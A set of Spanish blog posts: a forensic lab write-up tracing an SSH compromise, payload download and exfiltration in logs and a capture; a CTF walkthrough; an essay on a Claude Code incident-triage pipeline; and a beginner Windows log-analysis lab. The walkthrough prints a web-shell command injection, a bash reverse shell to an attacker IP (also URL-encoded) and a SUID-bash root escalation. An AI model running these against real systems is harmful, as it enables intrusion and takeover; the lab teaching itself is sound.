Por eso el valor de la máquina no está solo en responder preguntas del solucionario. Está en entender por qué la cadena tiene sentido, qué evidencia deja cada fase y cómo una investigación razonable puede reconstruirla sin depender de una única fuente.

Información técnica

Campo	Valor
Nombre	DevOps Nightmare
IP objetivo	No especificada en las notas
Servicios	SSH, tráfico HTTP saliente, servicio persistente en puerto alto, comunicación interna hacia servidor de base de datos
Cadena principal	Acceso inicial por credenciales comprometidas → descarga de payload → persistencia mediante listener → movimiento lateral hacia activo interno → exfiltración
Dificultad	Media

Descubrimiento de la evidencia

El punto de partida del laboratorio es una colección de artefactos que obliga a combinar fuentes distintas. No quise que la investigación dependiera de una sola pista evidente, sino de la relación entre logs de autenticación, logs del sistema, captura de red y un artefacto de base de datos presente como contexto.

mkdir investigacion
tar -xzvf DevOps_Nightmare.tar.gz -C investigacion/
cd investigacion
ls -l

En las notas aparecen estos ficheros:

auth.log
syslog
network.pcap
app_database.db

Desde el diseño, esta fase busca introducir una mentalidad básica de DFIR: antes de responder qué ha pasado, hay que entender qué fuentes existen y qué parte de la historia puede aportar cada una. auth.log sirve para fijar el acceso inicial, syslog para ver actividad local, network.pcap para validar comportamiento y temporalidad, y app_database.db queda como artefacto contextual, no necesariamente como pieza central de la resolución.

Acceso inicial

La primera parte de la cadena está en auth.log. Aquí la intención era enseñar una lectura sencilla pero útil: un patrón de fallo seguido de éxito sobre el mismo usuario y desde la misma IP en una ventana muy corta suele ser suficiente para orientar la investigación, incluso sin disponer de telemetría más rica.

Las notas muestran primero mucho ruido de accesos válidos por clave pública:

Nov 15 23:55:49 ubuntu sshd[3258]: Accepted publickey for admin from 10.0.0.62 port 36536
Nov 15 23:55:54 ubuntu sshd[9827]: Accepted publickey for jenkins from 10.0.0.254 port 62422
Nov 15 23:56:25 ubuntu sshd[4264]: Accepted publickey for developer1 from 10.0.0.165 port 48274
...

Ese ruido está puesto a propósito. En una investigación real rara vez se trabaja sobre un log limpio. Hay eventos legítimos, automatizaciones y accesos esperables que no ayudan a explicar el incidente. La pista relevante aparece al apartar ese tráfico normal:

grep -v "Accepted publickey" auth.log

Nov 15 03:27:45 ubuntu sshd[10612]: Failed password for developer1 from 45.63.89.234 port 39654
Nov 15 03:28:15 ubuntu sshd[10612]: Accepted password for developer1 from 45.63.89.234 port 39654

Técnicamente, la conclusión es clara: la IP 45.63.89.234 consigue autenticarse como developer1 tras un fallo previo. No necesitaba una fuerza bruta masiva para que la idea funcionase; bastaba con una secuencia mínima que obligara a detectar la relación temporal y contextual.

Lo que quise enseñar aquí es que el acceso inicial no siempre se presenta como una firma espectacular. A veces es solo una transición muy breve entre falló y entró, y la capacidad de verla depende más de filtrar bien el ruido que de buscar indicadores complejos.

Descarga del payload y dominio de mando y control

Una vez fijado el acceso inicial, el siguiente paso del laboratorio lleva al sistema. Quería que la investigación no se quedara en hubo un login sospechoso, sino que avanzara hacia lo que el intruso hizo después de entrar. Para eso, syslog contiene una evidencia explícita de descarga, pero codificada de forma lo bastante simple como para exigir una validación manual.

La búsqueda se concentra alrededor de la hora del compromiso:

grep "wget" syslog

Nov 15 03:28:30 ubuntu wget[3225]: Download completed: aHR0cDovL2Nkbi11cGRhdGUuZGV2b3BzLnRlY2gvdXBkYXRlX2FnZW50LnNo

La cadena en base64 se decodifica así:

echo "aHR0cDovL2Nkbi11cGRhdGUuZGV2b3BzLnRlY2gvdXBkYXRlX2FnZW50LnNo" | base64 -d

http://cdn-update.devops.tech/update_agent.sh

A nivel técnico, esta fase identifica dos piezas: el fichero descargado, update_agent.sh, y el dominio usado para servirlo, cdn-update.devops.tech.

A nivel de diseño, esta parte representa algo muy habitual: tras obtener acceso, el atacante no necesita ejecutar un implante sofisticado si puede traer un script desde infraestructura externa y apoyarse en utilidades nativas del sistema. La codificación en base64 no pretende ser malware avanzado; pretende enseñar una lección más útil: muchos indicadores no están ocultos, solo empaquetados lo justo para que una revisión superficial los pase por alto.

Persistencia y canal de control

La fase siguiente está pensada para forzar correlación entre red y sistema. No quise dejar la persistencia resuelta en un único log inequívoco. Preferí que primero apareciera como anomalía de tráfico y solo después pudiera confirmarse en syslog.

Según las notas, el análisis del PCAP parte de un resumen de conversaciones TCP:

tshark -r network.pcap -q -z conv,tcp > trafico.txt
cat trafico.txt | grep -v ":80"

La observación relevante es una conexión asociada al puerto 54321, fuera del patrón esperado. La validación posterior en los logs del sistema cierra la hipótesis:

grep "54321" syslog

Started listener on port 54321

Con eso, la persistencia queda asociada a un listener local en un puerto alto no estándar.

Lo importante aquí no es el número de puerto en sí, sino el razonamiento. En muchos entornos reales, la persistencia no se descubre por una firma inequívoca, sino por la combinación de dos hechos discretos: un patrón de red extraño y un rastro local que explica quién abrió ese canal. Diseñé esta parte para enseñar esa lectura cruzada. También buscaba reflejar un error operativo común: procesos no autorizados escuchando en puertos altos que terminan normalizándose porque nadie revisa esos detalles mientras el servicio principal sigue funcionando.

Movimiento lateral hacia el segundo servidor

Una vez comprometido el host inicial, la máquina empuja la investigación hacia el interior de la red. La idea era evitar que toda la historia girase alrededor del atacante externo y mostrar que, tras consolidar acceso, el siguiente paso razonable es explorar activos internos de más valor.

Las notas proponen identificar conexiones salientes desde la víctima hacia otros sistemas internos:

tshark -r network.pcap -Y "ip.src == 192.168.1.100 and ip.dst != 45.63.89.234 and tcp.flags.syn==1"

A partir de ahí aparece una IP interna relevante: 192.168.1.200.

La correlación con syslog revela el hostname:

grep "192.168.1.200" syslog

firewall: dbmaster01 (192.168.1.200) added to authorized whitelist

La pista clave es dbmaster01.

Desde el punto de vista del diseño, esta fase existe para enseñar dos cosas. La primera es que el movimiento lateral no siempre deja nombres claros en la captura; a menudo el nombre útil aparece en otra fuente, como logs de firewall, inventario o sistema. La segunda es que un atacante que ya dispone de un punto de apoyo raramente se queda en la máquina comprometida si detecta un servidor de base de datos accesible en red interna. Por eso el salto a dbmaster01 no es gratuito: representa una progresión lógica hacia un activo con mayor impacto.

Exfiltración y nombre del archivo robado

La última fase está construida para cerrar la cadena completa: no basta con ver intrusión y persistencia; hay que identificar qué salió del entorno. Aquí introduje una evidencia pequeña, pero suficiente, en el payload TCP.

Las notas extraen el contenido hexadecimal de una transferencia desde el servidor interno hacia la IP atacante:

tshark -r network.pcap \
  -Y "ip.src == 192.168.1.200 and ip.dst == 45.63.89.234" \
  -T fields -e tcp.payload | head -1

7af9d12b5f636f6e666964656e7469616c5f64756d702e73716c2e677a

Al reconstruirlo desde hexadecimal:

echo "7af9d12b5f636f6e666964656e7469616c5f64756d702e73716c2e677a" | xxd -r -p

7af9d12b_confidential_dump.sql.gz

Si además se extraen solo los caracteres imprimibles, el nombre legible del archivo queda todavía más claro:

echo "7af9d12b5f636f6e666964656e7469616c5f64756d702e73716c2e677a" | xxd -r -p | strings

confidential_dump.sql.gz

Aquí conviene limpiar una inconsistencia presente en las notas. En el solucionario aparece como respuesta a la pregunta sobre los primeros 8 caracteres del hash MD5 la cadena 7af9d12b_confidential_dump.sql.gz, pero la parte que realmente responde a esa pregunta es 7af9d12b. El nombre del archivo exfiltrado, por otro lado, es confidential_dump.sql.gz, o bien la cadena completa observada en el payload: 7af9d12b_confidential_dump.sql.gz.

Esta fase la diseñé para que el participante entendiera que la exfiltración no siempre exige reconstruir un archivo completo. A veces basta con recuperar fragmentos de naming, prefijos hash o metadatos embebidos en el flujo para saber qué salió y desde dónde. Es una lección útil fuera del laboratorio, sobre todo cuando se trabaja con capturas parciales o con tráfico incompleto.

Qué quería enseñar al diseñar DevOps Nightmare

DevOps Nightmare está pensado como una cadena de fallos y evidencias, no como una sucesión de adivinanzas. Quería que el laboratorio obligara a relacionar acceso inicial, ejecución posterior, persistencia, movimiento lateral y exfiltración bajo una lógica reconocible en un incidente real.

La máquina enseña que una investigación sólida no depende de encontrar una bala de plata en un solo archivo. Depende de saber leer contexto, tiempos y relaciones entre artefactos. También quería que cada fase representara un error operativo concreto: una cuenta expuesta, un sistema capaz de descargar y ejecutar contenido externo, un listener persistente sin control, una red interna alcanzable y un activo sensible finalmente exfiltrado.

Fase	Qué enseña	Error representado
Acceso inicial	Detectar compromiso correlando fallo y éxito de autenticación	Credenciales comprometidas o débiles en cuenta con acceso SSH
Descarga de payload	Identificar ejecución posterior al login y rastrear infraestructura externa	Capacidad de descargar y ejecutar contenido externo sin control efectivo
Persistencia	Validar una anomalía de red con evidencia del sistema	Listener persistente no autorizado en puerto alto
Movimiento lateral	Relacionar tráfico interno con metadatos del entorno	Segmentación insuficiente o confianza excesiva entre sistemas internos
Exfiltración	Extraer indicadores del archivo robado desde payload parcial	Falta de visibilidad o control sobre salidas de datos sensibles

En conjunto, la cadena busca dejar una idea sencilla: cuando varias pequeñas debilidades conviven en el mismo entorno, el impacto no lo marca cada fallo por separado, sino su combinación.

Recursos y referencias

grep, cat, awk para filtrado y lectura inicial de evidencias.
tshark o Wireshark para análisis de conversaciones y payloads.
base64 para decodificar artefactos simples ofuscados.
xxd y strings para reconstrucción e interpretación de contenido hexadecimal.
Revisión cruzada entre auth.log, syslog y network.pcap como método base de correlación.

Resumen operativo de hallazgos

Pregunta	Respuesta
IP del atacante inicial	`45.63.89.234`
Usuario comprometido primero	`developer1`
Fichero malicioso descargado	`update_agent.sh`
Dominio usado para C2 o distribución	`cdn-update.devops.tech`
Puerto usado para persistencia	`54321`
Hostname del segundo servidor comprometido	`dbmaster01`
Primeros 8 caracteres observados del identificador/hash	`7af9d12b`
Nombre legible del archivo robado	`confidential_dump.sql.gz`

Operación Pescador: de un upload expuesto a una shell web y una escalada trivial por SUID

Oscar — Sat, 14 Mar 2026 00:00:00 GMT

Plataforma: The Hackers Labs
Sistema operativo: Linux
Dificultad: media

Sobre este CTF

Operación Pescador es una máquina que gira alrededor de una cadena muy concreta y muy realista: una superficie web mal expuesta, un archivo subido accesible desde una ruta pública y una ejecución remota de comandos que termina en una escalada local casi inmediata por una mala configuración de permisos.

No es un laboratorio especialmente complejo en lo técnico, pero sí útil para enseñar una lección importante: cuando una aplicación permite subir contenido y ese contenido termina ejecutándose en servidor, el sistema ya está roto. Si además el host arrastra un binario con SUID mal asignado, el salto a root deja de ser una escalada y pasa a ser un trámite.

En esta entrada muestro la resolución completa, desde el descubrimiento de la máquina hasta la obtención de privilegios totales, explicando qué representa cada fase y por qué esta cadena sigue siendo relevante fuera del laboratorio.

Información técnica

Campo	Valor
Nombre	Operación Pescador
IP objetivo	10.0.4.39
Servicios	SSH (22), HTTP (80)
Vectores principales	panel web → ruta `/uploads` expuesta → web shell accesible → RCE → bash con SUID
Dificultad	media

Descubrimiento de la máquina

En este caso, el primer paso no fue enumerar puertos, sino identificar qué IP había recibido la máquina dentro del entorno de laboratorio. Para ello utilizamos netdiscover sobre la red local:

netdiscover -i eth1 -r 10.0.0.0/16

Salida relevante:

Currently scanning: 10.0.0.0/16   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 10.0.4.1        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.4.2        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.4.3        08:00:27:6f:3d:92      1      60  PCS Systemtechnik GmbH
 10.0.4.39       08:00:27:80:8c:91      1      60  PCS Systemtechnik GmbH

La IP de la víctima se identifica como:

10.0.4.39

Escaneo de puertos

Con la IP ya localizada, pasamos a enumerar la superficie expuesta. Primero realizamos un escaneo general y después uno más preciso sobre los puertos encontrados.

nmap -n -Pn -sS -sV -p- --open --min-rate 5000 10.0.4.39
nmap -n -Pn -sCV -p22,80 --min-rate 5000 10.0.4.39

Resultado:

Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-22 23:29 +0100
Nmap scan report for 10.0.4.39
Host is up (0.00021s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open  http    Apache httpd 2.4.65
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: Did not follow redirect to http://mail.innovasolutions.thl/
MAC Address: 08:00:27:80:8C:91 (Oracle VirtualBox virtual NIC)
Service Info: Host: mail.innovasolutions.thl; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Análisis inicial

La máquina expone dos servicios:

SSH en el puerto 22
HTTP en el puerto 80

El detalle importante no es solo el Apache, sino la redirección a un nombre de host concreto:

mail.innovasolutions.thl

Eso obliga a añadir la resolución local en /etc/hosts para poder interactuar correctamente con la aplicación web.

10.0.4.39   mail.innovasolutions.thl

Enumeración web

Una vez resuelto el dominio, accedemos al servicio HTTP y encontramos un panel de inicio de sesión. La propia aplicación deja entrever que no será especialmente útil intentar fuerza bruta directa sobre ese formulario, así que el siguiente paso razonable es enumerar rutas y contenido expuesto.

Para ello utilizamos gobuster:

gobuster dir -u http://mail.innovasolutions.thl -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x html,zip,php,txt,bak,sh -b 403,404 -t 60

Resultado relevante:

/login.php            (Status: 200) [Size: 1619]
/uploads              (Status: 301) [Size: 338] [--> http://mail.innovasolutions.thl/uploads/]
/upload.php           (Status: 302) [Size: 0] [--> login.php]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/forgot_password.php  (Status: 200) [Size: 1317]
/dashboard.php        (Status: 302) [Size: 0] [--> login.php]

Comentario

Aquí aparece el punto más interesante de la enumeración: la carpeta /uploads está expuesta públicamente.

Al acceder a ella encontramos un archivo cuyo contenido aparenta ser una imagen, pero cuya extensión real es .php. Ese detalle cambia por completo la lectura del escenario, porque deja abierta la posibilidad de que no estemos ante un simple recurso estático, sino ante una web shell o un archivo ejecutable accesible desde web.

Explotación

Descubrimiento del parámetro ejecutable

Con el archivo ya localizado dentro de /uploads, el siguiente paso es comprobar si acepta parámetros que permitan lectura local o ejecución de comandos. Para ello usamos wfuzz contra la URL del archivo:

wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://mail.innovasolutions.thl/uploads/foto.png.php?FUZZ=id --hc 404 --hl 2

Resultado:

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000005340:   200        3120 L   25661 W    677561 Ch   "cmd"

El parámetro válido es:

cmd

A partir de ahí, probamos ejecución directa:

http://mail.innovasolutions.thl/uploads/foto.png.php?cmd=id

La ejecución funciona correctamente. Ya tenemos RCE sobre el servidor.

Análisis

Este es el fallo central de la máquina. No estamos explotando una vulnerabilidad compleja del framework ni un bypass sofisticado. Estamos aprovechando una combinación mucho más básica y mucho más peligrosa:

una ruta de uploads visible públicamente
un archivo ejecutable dentro de esa ruta
un parámetro que permite ejecutar comandos del sistema

En un entorno real, esto equivale a perder el servidor en cuanto alguien encuentre el recurso correcto.

Obtención de reverse shell

Con RCE confirmada, el siguiente paso es obtener una shell interactiva. Para ello preparamos un listener en la máquina atacante:

sudo nc -nlvp 4444

Después ejecutamos un one-liner de Bash a través del parámetro cmd:

...?cmd=bash -c 'bash -i >& /dev/tcp/10.0.4.12/4444 0>&1'

Como había espacios y caracteres especiales, se aplicó URL encoding para evitar problemas:

...?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%34%2e%31%32%2f%34%34%34%34%20%30%3e%26%31%27

Resultado en el listener:

listening on [any] 4444 ...
connect to [10.0.4.12] from (UNKNOWN) [10.0.4.39] 50076
bash: cannot set terminal process group (563): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$ whoami
www-data

Ya tenemos shell como:

www-data

Tratamiento de TTY

Antes de revisar escalada de privilegios, conviene estabilizar la shell para trabajar con más comodidad.

script /dev/null -c bash

Después:

ctrl + z
stty raw -echo; fg
reset xterm
export TERM=xterm
export BASH=bash

Esto deja una terminal bastante más usable para la fase local.

Escalada de privilegios

Revisión de binarios SUID

Con acceso como www-data, revisamos binarios con SUID:

find / -perm -4000 -type f 2>/dev/null

Resultado relevante:

/usr/local/bin/get-report
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/bash
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

El dato clave aquí es este:

/usr/bin/bash

Análisis

Tener bash con el bit SUID activo rompe por completo el modelo de privilegios del sistema. No hace falta encadenar nada más. No hace falta explotación avanzada. Basta con preservar privilegios al invocar el binario adecuado.

La escalada es inmediata:

/bin/bash -p

Resultado:

bash-5.2# whoami
root

Ya somos root.

Flags

Con privilegios totales ya podemos recuperar las flags del sistema:

cat /home/laptop/flag.txt
cat /root/root.txt

Notas del autor

Operación Pescador está diseñada para enseñar una cadena muy reconocible en escenarios web mal protegidos:

Vector	Lo que enseña	Error real representado
redirección a dominio interno	dependencia de resolución correcta	aplicaciones que esperan un `Host` concreto
ruta `/uploads` expuesta	enumeración de contenido sensible	directorios públicos con material ejecutable
archivo `.php` disfrazado	ejecución desde zona de subida	uploads inseguros sin separación real
parámetro `cmd`	RCE directa	web shells o scripts dejados en producción
reverse shell como `www-data`	compromiso del servicio web	ejecución sobre el usuario del servidor
`bash` con SUID	escalada trivial a `root`	permisos catastróficos sobre binarios comunes

Lo importante de esta máquina no es solo llegar rápido a root. Lo importante es entender lo poco que hace falta cuando una aplicación permite ejecutar código desde una zona que nunca debió ser pública y el sistema además arrastra una configuración SUID desastrosa.

Recursos y referencias

El agente que piensa antes de actuar

Oscar — Sun, 15 Mar 2026 00:00:00 GMT

Hay una conversación que se repite constantemente en LinkedIn, en foros, en grupos de Slack. Alguien descubre los agentes de IA autónomos. Los instala. Delega todo. Y a los pocos días aparece con la misma queja:

He gastado los créditos de un mes en tres días y no tengo nada que pueda defender.

No es un problema de la herramienta. Es un problema de diseño.

Lo nuevo que no es tan nuevo

Cada cierto tiempo aparece algo que el mercado presenta como una revolución.

Últimamente le toca a los agentes autónomos que acceden a tu sistema, ejecutan tareas y modifican ficheros sin que tú supervises cada paso. Hay herramientas nuevas con nombres llamativos. Hay vídeos de gente delegando proyectos enteros. Hay ansiedad colectiva de no estar usándolo ya.

Pero si llevas tiempo trabajando con Claude, esto te suena familiar. Porque Claude Desktop con MCP Filesystem Server lleva haciendo exactamente eso desde noviembre de 2024. El acceso al sistema local, la lectura y escritura de ficheros, la ejecución condicional - todo eso ya existía. Lo que ha cambiado es el envoltorio y el ruido alrededor.

La pregunta que nadie se hace es la que importa: ¿qué le estás delegando, y tienes criterio para revisar lo que te devuelve?

El modelo amplifica lo que ya sabes

Llevo años trabajando en entornos donde un error de diagnóstico tiene consecuencias reales. Banca, retail, infraestructura crítica. En esos contextos aprendes algo que ningún tutorial enseña: la diferencia entre una alerta y una señal.

Una alerta es un número que supera un umbral. Una señal es un patrón que anticipa un problema antes de que el sistema lo declare oficialmente.

Quería saber si un modelo bien contextualizado podía aplicar ese tipo de criterio. No seguir reglas fijas. Reconocer patrones con contexto de dominio real.

Diseñé un experimento sencillo: un pipeline LLM con ejecución condicional, construido enteramente con Claude Code, sin instalar nada adicional, sin frameworks externos, sin gastar créditos innecesarios en automatizar lo que no necesita automatización.

El código está aquí: incident-triage-agent

La arquitectura

El flujo es deliberadamente simple:

Un script Python genera métricas falsas pero realistas en un fichero JSON. El orquestador lee ese fichero y activa al Agente Analyst - un prompt especializado con rol de SRE senior escéptico que requiere al menos dos señales correlacionadas antes de declarar un incidente. Si el Analyst confirma el incidente, el orquestador activa al Agente Responder, que genera el runbook de respuesta inicial. Si no hay incidente, el flujo termina con justificación. Sin runbook, sin ruido.

La clave está en el CLAUDE.md en la raíz del proyecto. Ese fichero actúa como instrucción de sistema persistente para el orquestador. Claude Code lo lee al arrancar y sabe exactamente qué hacer, en qué orden, y bajo qué condiciones. No hay código de orquestación adicional. No hay dependencias. No hay infraestructura que mantener.

Tres escenarios para probar el criterio del pipeline:

Escenario 1: CPU alta, disco disparado. Son las 02:00. Es el batch de backup recurrente. Ruido.
Escenario 2: Pool de conexiones DB al 99%, 847 query timeouts en 5 minutos, error rate 55 veces el baseline, servicio downstream ya degradado. Incidente crítico en cascada.
Escenario 3: Latencia elevada, error rate leve, deploy hace 20 minutos. Ambiguo.

Lo que me importaba ver

El escenario 2 era el control. Cualquier sistema con umbrales básicos lo declara incidente. Lo interesante era cómo lo justificaba.

El Agente Analyst no dijo que había 7 métricas por encima del umbral. Aplicó el patrón clásico de incidente de base de datos que cualquier SRE senior reconoce: pool de conexiones agotado - query timeouts - error rate en cascada - servicio downstream afectado. Identificó el origen probable, descartó las explicaciones de ruido (sin batch activo, deploy hace 25 horas, tráfico normal) y escribió su decisión con 97% de confianza.

Eso ya valía el experimento. Pero el escenario 3 fue donde apareció lo que buscaba.

Las métricas estaban elevadas pero no críticas. Había un deploy reciente que podía explicarlo. Un sistema basado en umbrales habría declarado incidente o lo habría descartado. El Agente Analyst respondió de otra forma:

Hay tres hipótesis. Con los datos actuales no puedo distinguir entre ellas. Aquí están los tres comandos exactos para hacerlo. Mi apuesta es un connection leak introducido por el deploy que lleva 29 horas acumulándose - el timing encaja. Pero necesito confirmación antes de declarar incidente.

Y adjuntó las queries de PostgreSQL para verificarlo.

El modelo reconoció un patrón ambiguo, eligió no colapsar en una respuesta binaria y devolvió el control al operador con información accionable. Eso es exactamente lo que diferencia un pipeline bien diseñado de uno que dispara con cualquier umbral.

Por qué funciona sin fundir créditos

Porque cada llamada tiene un propósito concreto, un contexto acotado y un output estructurado que el orquestador puede evaluar. No hay bucles de planificación y reflexión que se llaman a sí mismos. No hay modelo navegando tu sistema completo buscando qué hacer. El scope está definido, el criterio de parada está definido, y el flujo condicional evita activar el Agente Responder cuando no hace falta.

La delegación con cabeza no significa delegar menos. Significa saber exactamente qué estás delegando y poder auditar el resultado.

Lo que necesitas para que esto tenga sentido

El pipeline del escenario 3 funcionó bien porque los conceptos del contexto de rol - connection leaks, cascadas, ventanas post-deploy, pg_stat_activity - son conceptos reales de SRE que yo puse ahí porque los entiendo. Si no los entendiera, no habría sabido qué incluir en el prompt ni habría podido evaluar si la respuesta era correcta.

Un pipeline LLM sin conocimiento de dominio detrás no amplifica nada. Genera output plausible que parece correcto y puede no serlo. El coste no es solo económico.

La herramienta no es el problema ni la solución. El criterio es lo que escala.

Código

Todo el proyecto - el orquestador, los prompts especializados, el generador de escenarios - está disponible en:

incident-triage-agent

Si trabajas en SRE o en operaciones y quieres experimentar con pipelines LLM bien acotados sin montar infraestructura compleja ni instalar dependencias externas, es un punto de partida honesto.

Santa Logs: un laboratorio para practicar trazabilidad básica en Windows

Oscar — Fri, 20 Mar 2026 00:00:00 GMT

Máquina creada por: Oscar
Plataforma: The Hackers Labs
Sistema operativo: Windows
Dificultad: principiante

Sobre este CTF

Santa Logs no nació como un laboratorio de explotación, sino como un ejercicio de análisis básico sobre evidencias locales en un sistema Windows. Lo planteé con una idea muy concreta: obligar a mirar los logs con atención cuando todavía no hay un SIEM, ni un stack de observabilidad, ni tooling forense avanzado que haga el trabajo por nosotros.

La máquina está construida para que el recorrido tenga sentido desde una lógica de investigación mínima. No se trata de encadenar trucos, sino de interpretar señales sencillas pero útiles: intentos fallidos de acceso, una conexión válida que destaca frente al ruido, una alerta operativa y un artefacto sospechoso cuyo valor no está solo en existir, sino en cómo se relaciona con lo anterior.

El contexto navideño sirve de envoltorio, pero la enseñanza buscada es bastante terrenal: saber leer eventos, separar ruido de señal y entender que una intrusión o una manipulación del sistema rara vez se explica por una sola pista aislada. Por eso diseñé la máquina alrededor de un visor de eventos muy acotado, una fuente de logs específica y un script cifrado que obliga a correlacionar datos antes de obtener la respuesta final.

Información técnica

Campo	Detalle
Nombre	Santa Logs
IP objetivo	No indicada en las notas
Servicios	FTP, SSH, SMB y visor de eventos personalizado
Cadena principal	Revisión de logs, correlación de eventos y validación de un artefacto cifrado
Dificultad	Principiante

Punto de partida del laboratorio

El acceso inicial de la máquina está definido de forma explícita:

Usuario: santa
Password: Cl@us

Una vez dentro, el laboratorio no abre con una consola ni con una superficie de ataque clásica, sino con algo más deliberado: el visor de eventos. Esa decisión de diseño no es casual. Quería que el primer reflejo del jugador no fuese enumerar binarios, servicios o shares, sino revisar qué rastro había dejado la actividad previa en el sistema.

También limité la visibilidad de los eventos para centrar la lectura en una única fuente, Santalogs. Eso reduce dispersión y fuerza a interpretar el contenido, no a perder tiempo navegando por registros irrelevantes.

Revisión inicial de eventos

Al abrir el visor de eventos, el sistema no muestra registros útiles en los canales habituales. Toda la actividad de interés está concentrada en Santalogs.

Eso tiene dos objetivos. El primero es didáctico: evitar que la fase se convierta en una búsqueda caótica dentro de Windows. El segundo es técnico: enseñar que, en un entorno real, muchas veces el valor no está en “tener muchos logs”, sino en saber dónde mirar y qué eventos merecen correlación.

Aquí el laboratorio plantea tres preguntas muy concretas, pero cada una representa una dimensión distinta del análisis:

volumen de ruido o presión sobre un servicio
identificación de un origen que sí consiguió acceso
señales operativas que pueden contextualizar la actividad

Intentos fallidos de acceso por FTP

La primera evidencia relevante es el recuento de intentos fallidos de acceso por FTP. En los logs registrados aparecen 50.

Ese dato, por sí solo, no compromete el sistema, pero sí representa una situación muy común fuera del CTF: servicios expuestos que acumulan autenticaciones fallidas y terminan normalizando comportamientos que no deberían verse como rutinarios. La intención aquí era que el jugador entendiera que incluso un dato simple, como un contador de fallos, puede ser el primer indicador de presión externa o de actividad anómala.

El valor pedagógico de esta fase no está en responder “50”, sino en reconocer qué significa ese número dentro del contexto de un servicio accesible y observable.

Conexión SSH exitosa

Frente al ruido de FTP, los logs también muestran una conexión SSH exitosa desde la IP 192.168.1.101.

Aquí la máquina cambia de registro. Ya no hablamos de intentos fallidos, sino de una evidencia positiva de acceso. Quise que esta parte sirviera para enseñar una idea básica pero importante: en una investigación inicial no todo el peso debe recaer sobre los errores; muchas veces la pista útil está en el acceso que sí funcionó.

La IP identificada se convierte después en una pieza reutilizable dentro de la cadena. Eso refuerza otro aprendizaje que me interesaba introducir: los indicadores no suelen vivir aislados. Una dirección IP observada en autenticación puede reaparecer en otros artefactos y ganar valor precisamente por esa repetición.

Alerta operativa sobre espacio en disco

Otro de los eventos registrados deja un mensaje de advertencia claro:

Low disk space

Esta fase existe para romper una lectura demasiado lineal del laboratorio. No todo en los logs tiene que ser una credencial, una IP o un acceso. También hay eventos operativos que, en un contexto real, ayudan a entender el estado del sistema y a formular hipótesis.

Quería que apareciera una alerta que no fuese un “hallazgo de intrusión” en sentido estricto, pero que sí recordara algo importante: los problemas de capacidad, almacenamiento o mantenimiento también forman parte del análisis. En una máquina comprometida, estos avisos pueden ser ruido inocente o una consecuencia indirecta de actividad maliciosa. Aprender a no descartarlos de forma automática también forma parte del ejercicio.

La clave para descifrar el script sospechoso

La pregunta central del laboratorio gira alrededor de malicious_script.py. El archivo no puede inspeccionarse ni modificarse directamente, de modo que obliga a trabajar con el contexto disponible.

La clave obtenida a partir de los logs es:

FTP25_SMB192.168.1.101

Aquí la intención de diseño era bastante clara: construir una relación explícita entre observación y acción. El jugador no recibe la solución por fuerza bruta ni por inspección directa del archivo, sino por correlación de datos vistos previamente en el sistema.

La cadena resume bien el propósito de la máquina:

un servicio con intentos fallidos
una IP que sí consiguió acceso
un artefacto cifrado que depende de esa información previa

No buscaba enseñar criptografía ni reversing, sino una disciplina más básica y más reutilizable: antes de intentar romper un artefacto, conviene preguntarse qué contexto del sistema ya lo explica.

Validación del artefacto y obtención de la flag

Al ejecutar el script, el sistema solicita la clave obtenida en la fase anterior. Al introducirla correctamente, devuelve la flag final:

oscar_feliz_navidad

La resolución final es sencilla a propósito. No me interesaba rematar la máquina con una fase artificiosa, sino cerrar el recorrido confirmando que toda la investigación previa tenía una utilidad práctica. La flag no representa aquí un premio técnico complejo, sino la validación de que se ha entendido la relación entre los eventos y el artefacto.

Ese cierre encaja con la filosofía general del laboratorio: la dificultad no está en herramientas avanzadas ni en explotación profunda, sino en leer bien una secuencia pequeña de evidencias y convertirla en una respuesta coherente.

Qué quería enseñar al diseñar Santa Logs

Santa Logs está pensado como un laboratorio de correlación básica sobre Windows con una narrativa ligera, pero con una intención muy concreta detrás: enseñar a trabajar con indicios simples cuando todavía no existe un ecosistema de análisis maduro alrededor.

La máquina no pretende simular un incidente complejo. Lo que busca es fijar una secuencia mental útil:

identificar la fuente de evidencia adecuada
distinguir entre ruido y señal
extraer indicadores concretos
reutilizarlos para validar un artefacto sospechoso

Esa cadena tiene sentido más allá del entorno CTF, porque muchas investigaciones reales empiezan exactamente así: con acceso limitado, con pocos datos y con la necesidad de razonar antes de ejecutar.

Fase	Qué enseña	Error representado
Revisión del visor de eventos	Localizar la fuente útil de evidencia	Dependencia excesiva de tooling externo para empezar a investigar
Intentos fallidos por FTP	Medir presión o actividad anómala sobre un servicio	Exposición de servicios con autenticaciones repetidas
Conexión SSH exitosa	Identificar un acceso válido entre mucho ruido	Falta de vigilancia sobre accesos exitosos relevantes
Alerta de espacio en disco	Contextualizar el estado operativo del sistema	Ignorar señales de sistema que pueden complementar el análisis
Descifrado de `malicious_script.py`	Correlacionar indicadores antes de actuar sobre un artefacto	Analizar ficheros sospechosos sin contexto previo
Obtención de la flag	Validar hipótesis a partir de evidencias coherentes	Resolver por prueba y error en lugar de por lectura técnica

Recursos y referencias

Visor de eventos de Windows
